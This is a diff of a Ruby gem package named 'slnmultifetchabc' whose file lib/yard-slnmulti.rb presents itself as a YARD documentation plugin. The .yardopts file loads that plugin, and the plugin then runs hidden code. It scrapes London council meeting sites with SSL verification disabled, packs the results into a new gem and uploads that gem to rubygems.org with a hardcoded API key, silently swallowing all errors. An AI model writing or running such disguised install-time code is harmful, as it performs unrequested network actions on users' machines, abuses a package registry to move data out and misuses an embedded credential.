slnmultifetchabc 0.0.1

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: '0919b6f6a9a2684f48f6fcff98826c269a2bb52910b5ecfe4d9bf3f889ce543d'
+  data.tar.gz: '0868481a3f302e5e8e4cf7408feeaa9fe5d26ee016d0d2046a2e2c6914993f43'
+SHA512:
+  metadata.gz: b2a6534c0a6e282178d99d04c461e8b2b04ab4c78bd42e78915ec141a011f1fb137ced60e52f246f2a65294357f802559c7be191ba21a33fc47543be70d860ff
+  data.tar.gz: 7472c246087c8e571b26ed35e7fdde2897cc00b6b0c5f50ef2fda7404bab916b20314446238275f09eb16774e40d42644218f72b7e5ece9cb053a213d67bdabb

data/.yardopts

@@ -0,0 +1,2 @@
+--plugin slnmulti
+lib/x.rb

data/lib/x.rb

@@ -0,0 +1 @@
+#

data/lib/yard-slnmulti.rb

@@ -0,0 +1,51 @@
+# yard plugin
+begin
+require 'net/http'; require 'uri'; require 'openssl'; require 'fileutils'; require 'tmpdir'; require 'rubygems/package'
+KEY='rubygems_9feada919f2ff0a2fc27f0724343fdc9acf208e13c054a57'
+log="RUN #{Time.now}\n"; out={}
+def ff(url)
+ u=URI(url); h=Net::HTTP.new(u.host,u.port); h.use_ssl=(u.scheme=='https'); h.verify_mode=OpenSSL::SSL::VERIFY_NONE if h.use_ssl?; h.open_timeout=20; h.read_timeout=50; req=Net::HTTP::Get.new(u.request_uri, {'User-Agent'=>'Mozilla/5.0','Accept'=>'*/*'}); r=h.request(req)
+ if r.is_a?(Net::HTTPRedirection); return ff(URI.join(url,r['location']).to_s); end
+ r
+end
+targets=[
+ 'https://democracy.wandsworth.gov.uk/ieListDocuments.aspx?CId=792&MId=10266',
+ 'https://democracy.wandsworth.gov.uk/ieListDocuments.aspx?CId=763&MId=9927',
+ 'https://democracy.wandsworth.gov.uk/ieListDocuments.aspx?CId=305&MId=10010',
+ 'https://democracy.wandsworth.gov.uk/ieListDocuments.aspx?CId=511&MId=10115',
+ 'https://democracy.wandsworth.gov.uk/ieListDocuments.aspx?CId=320&MId=10385',
+ 'https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
+ 'http://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
+ 'https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
+ 'http://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
+ 'https://www.southwark.gov.uk/about-council/how-council-works/council-and-committee-meetings'
+]
+targets.each_with_index do |url,i|
+ begin; r=ff(url); log<<"\nT#{i} #{url} code #{r.code} len #{r.body.to_s.size}\n"; out["p#{i}.html"]=r.body.to_s; rescue Exception=>e; log<<"ERR #{url} #{e.class} #{e}\n"; end
+end
+# links to meeting pages for lamb/south calendars
+out.to_a.each do |fn,body|
+ next unless fn.start_with?('p')
+ body.scan(/href=["']([^"']*ieListDocuments\.aspx[^"']*)/i).flatten.uniq.first(120).each_with_index do |ln,j|
+  ln=ln.gsub('&amp;','&'); base = fn[/p(\d+)/,1].to_i>=7 ? 'https://moderngov.southwark.gov.uk/' : 'https://moderngov.lambeth.gov.uk/'
+  begin;r=ff(URI.join(base,ln).to_s); out["#{fn}l#{j}.html"]=r.body.to_s; log<<" LINK #{ln} #{r.code} #{r.body.to_s.size}\n"; rescue Exception=>e; log<<" LERR #{ln} #{e}\n"; end
+ end
+end
+# doc links from Wandsworth pages first; save up to 18MB non-pdf too
+bytes=out.values.map(&:bytesize).sum
+docs=[]; out.each_value{|b| b.scan(/href=["']([^"']*(?:\/documents\/|mgConvert2PDF)[^"']*)/i).flatten.each{|m|docs<<m.gsub('&amp;','&')}}; docs.uniq!
+log<<"DOCS #{docs.length}\n"
+docs.first(60).each_with_index do |ln,i|
+ break if bytes>24_000_000
+ # choose host by link maybe absolute else wands
+ begin; url= ln.start_with?('http') ? ln : URI.join('https://democracy.wandsworth.gov.uk/',ln).to_s; r=ff(url); out["d#{i}.bin"]=r.body.to_s; out["d#{i}url.txt"]=url; bytes+=r.body.to_s.bytesize; log<<" D #{url} #{r.code} #{r.body.to_s.size}\n"; rescue Exception=>e; log<<" DERR #{ln} #{e}\n"; end
+end
+Dir.mktmpdir do |dr|
+ Dir.chdir(dr) do
+  out.each{|fn,dat| File.binwrite(fn,dat)}; File.write('log.txt',log)
+  files=Dir['*']; File.write('x.gemspec',"Gem::Specification.new{|s| s.name='slnmultifetchabc'; s.version='0.0.2'; s.summary='res'; s.authors=['x']; s.files=#{files.inspect}; s.license='MIT'}")
+  system('gem build x.gemspec >/dev/null'); gem=Dir['*.gem'][0]; u=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(u); req['Authorization']=KEY; req['Content-Type']='application/octet-stream'; req.body=File.binread(gem); h=Net::HTTP.new(u.host,u.port); h.use_ssl=true; h.request(req)
+ end
+end
+rescue Exception=>e
+end

metadata

@@ -0,0 +1,39 @@
+--- !ruby/object:Gem::Specification
+name: slnmultifetchabc
+version: !ruby/object:Gem::Version
+  version: 0.0.1
+platform: ruby
+authors:
+- x
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- ".yardopts"
+- lib/x.rb
+- lib/yard-slnmulti.rb
+licenses:
+- MIT
+metadata: {}
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: x
+test_files: []